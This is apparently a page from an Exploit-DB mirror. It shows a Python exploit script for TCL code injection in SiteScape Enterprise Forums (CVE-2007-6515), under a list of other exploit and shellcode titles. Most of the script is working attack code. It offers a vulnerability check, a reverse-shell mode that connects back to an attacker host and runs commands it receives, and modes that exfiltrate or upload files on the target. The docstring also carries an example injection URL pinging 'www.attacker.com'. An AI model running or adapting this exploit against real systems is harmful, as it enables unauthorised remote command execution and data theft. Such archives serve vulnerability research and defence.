exploit-db-mirror/exploits/cgi/webapps/15987.py
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

178 lines
No EOL
6.6 KiB
Python
Executable file

#!/usr/bin/env python
"""
-*- coding: utf-8 -*-
sitescape_sploit.py
Copyright 2010 Spencer McIntyre <zeroSteiner@gmail.com>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
MA 02110-1301, USA.
Discovered: 12-07-10
By: Spencer McIntyre (zeroSteiner) SecureState R&D Team
www.securestate.com
Background:
-----------
TCL Code injection has previously been discovered
New Details:
------------
Confirmation that SiteScape servers are vulnerable to TCL injection allowing remote code execution through TCL payloads. SecureState has released proof of concept exploit code for this vulnerability.
Vulnerable Versions:
--------------------
Tested on SiteScape Enterprise Forums version 7, others may be vulnerable.
TCL Code Injection:
-------------------
++ Replace "ping www.attacker.com" with something useful
http://www.website.com/dispatch.cgi/0;set fl [open "|ping www.attacker.com" ]
References:
-----------
BID https://www.securityfocus.com/bid/26963
CVE http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6515
Post http://securityvulns.com/Sdocument702.html
PoC http://www.securestate.com/Documents/sitescape_sploit.txt
Whitepaper http://www.securestate.com/Downloadables/Documents/whitepapers-profiling-penetration/SiteScape_TCL_Code_Injection.pdf
"""
def main():
import sys
import socket
import urllib2
import argparse
__version__ = '0.3'
parser = argparse.ArgumentParser(description = 'Site Scape Exploit Tool', conflict_handler='resolve')
parser.add_argument('-t', '--target', dest = 'target_uri', action = 'store', required = True, help = 'the uri to dispatch.cgi')
parser.add_argument('-m', '--mode', dest = 'mode', action = 'store', required = True, choices = ['c', 's', 'u', 'd'], help = 'attack mode')
parser.add_argument('-h', '--lhost', dest = 'lhost', action = 'store', default = '', help = 'host to connect back to')
parser.add_argument('-p', '--lport', dest = 'lport', action = 'store', default = 0, help = 'the port to connect back to')
parser.add_argument('-f', '--file', dest = 'file_name', action = 'store', default = '', help = 'the file name to upload/download, path must be relative')
parser.add_argument('-v', '--version', action = 'version', version = sys.argv[0][2:] + ' Version:' + __version__)
results = parser.parse_args()
target = results.target_uri
if target.split('/')[len(target.split('/')) - 1] != 'dispatch.cgi':
print 'Invalid Target'
return 0
if results.mode == 'c':
sys.stdout.write('Checking... ')
sys.stdout.flush()
try:
httpConn = urllib2.urlopen(target + '/0;test')
page = httpConn.read()
except urllib2.HTTPError, error:
print '\nThe Host Is NOT Vulnerable'
return 0
except ValueError:
print '\nInvalid Target'
return 0
except:
print '\nAn Error Has Occured'
return 0 # this should not happen
sys.stdout.write('Done.\n')
sys.stdout.flush()
if 'invalid command name "test"' in page:
print 'The Host Is Vulnerable'
return 0
else:
print 'The Host Is NOT Vulnerable'
return 0
if results.lhost:
lhost = results.lhost
else:
print sys.argv[0] + ': error: argument -h/--lhost is required when mode is not \'c\''
return 0
if results.lport:
lport = results.lport
else:
print sys.argv[0] + ': error: argument -p/--lport is required when mode is not \'c\''
return 0
if results.mode == 's':
exploit = target + '/0;set%20sock%20[socket%20' + lhost + '%20' + str(lport)
exploit = exploit + '%20]%20;fconfigure%20$sock%20-buffering%20line;while%20%221%22%20{%20gets%20$sock%20cmd;%20if%20{%20[catch%20{set%20fl%20[open%20%22|$cmd%22%20]%20}%20fid]%20}%20{%20%20puts%20$sock%20%22Command%20Error%22%20}%20else%20{%20set%20data%20[read%20$fl]%20;%20puts%20$sock%20$data;%20}%20}%20;thisTx%20accept%20;exit%20'
print 'Sending Exploit...\n(This process will sometimes hang on success until the connection is terminated)'
try:
httpConn = urllib2.urlopen(exploit)
except:# urllib2.HTTPError:
pass
return 0
if results.file_name:
file_name = results.file_name
else:
print sys.argv[0] + ': error: argument -f/--file_name is required when mode is not \'c\' or \'s\''
return 0
if file_name[0] in ['\\', '/']:
print 'The path has to be relative ie: ../../tmp/foobar.txt'
return 0
forward = file_name.count('/')
backward = file_name.count('\\')
path = ''
if not forward == 0 and not backward == 0:
for i in range(0, file_name.count('..')):
path = path + 'cd%20..;'
del i
file_name = file_name.split('..')
file_name = file_name.pop()
if forward > backward:
tmp = file_name.split('/')[:-1]
file_name = file_name.split('/').pop()
else:
tmp = file_name.split('\\')[:-1]
file_name = file_name.split('\\').pop()
for part in tmp:
if part:
path = path + 'cd%20' + part + ';'
if results.mode == 'd':
exploit = target + '/0;set%20sock%20[socket%20' + lhost + '%20' + str(lport)
exploit = exploit + ']%20;' + path + 'fconfigure%20$sock%20-buffering%20line;set%20fl%20[open%20%22' + file_name.replace(' ', '%20') + '%22%20r]%20;fconfigure%20$fl%20-translation%20binary;set%20data%20[read%20$fl]%20;puts%20$sock%20$data;%20thisTx%20accept%20;exit%20;'
try:
httpConn = urllib2.urlopen(exploit)
except urllib2.HTTPError:
pass
except:
print 'An Error Has Occured'
return 0
elif results.mode == 'u':
exploit = target + '/0;set%20sock%20[socket%20' + lhost + '%20' + str(lport)
exploit = exploit + ']%20;' + path + 'fconfigure%20$sock%20-buffering%20line;set%20fl%20[open%20%22' + file_name.replace(' ', '%20') + '%22%20w]%20;fconfigure%20$fl%20-buffering%20line;set%20data%20[read%20$sock]%20;puts%20$fl%20$data;%20thisTx%20accept%20;exit%20;'
try:
httpConn = urllib2.urlopen(exploit)
except urllib2.HTTPError:
pass
except:
print 'An Error Has Occured'
return 0
return 0
if __name__ == '__main__':
main()